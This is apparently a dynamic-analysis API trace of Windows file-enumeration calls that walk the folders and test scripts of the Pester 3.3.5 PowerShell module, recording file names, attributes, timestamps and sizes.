	[0161.301] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.301] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0
	[0161.301] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0161.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0161.301] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0
	[0161.302] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0161.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0161.302] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1
	[0161.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0161.302] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions") returned 65
	[0161.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0161.309] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.309] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1
	[0161.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0161.309] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions") returned 76
	[0161.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0161.789] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.789] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x356e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.ps1", cAlternateFileName="")) returned 1
	[0161.789] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x339d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.790] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2794, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1
	[0161.790] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x281d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.790] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efa7ee8, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efa7ee8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efa7ee8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1
	[0161.790] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.790] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2861, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1
	[0161.790] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.790] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.ps1", cAlternateFileName="")) returned 1
	[0161.790] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.791] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1
	[0161.791] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e66ad38, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e66ad38, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e66ad38, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.791] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2739, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.ps1", cAlternateFileName="")) returned 1
	[0161.791] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2787, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.791] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.ps1", cAlternateFileName="")) returned 1
	[0161.791] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2869, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.791] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1
	[0161.792] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2815, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.792] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1
	[0161.792] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x395e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.792] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3239, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.ps1", cAlternateFileName="")) returned 1
	[0161.792] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b3d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.792] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1
	[0161.792] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0
	[0161.792] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0161.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0161.794] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1
	[0161.794] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.794] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x686e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1
	[0161.794] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.794] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1
	[0161.794] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.794] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x291c, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1
	[0161.794] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2848, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.794] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x34b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1
	[0161.795] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.795] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1
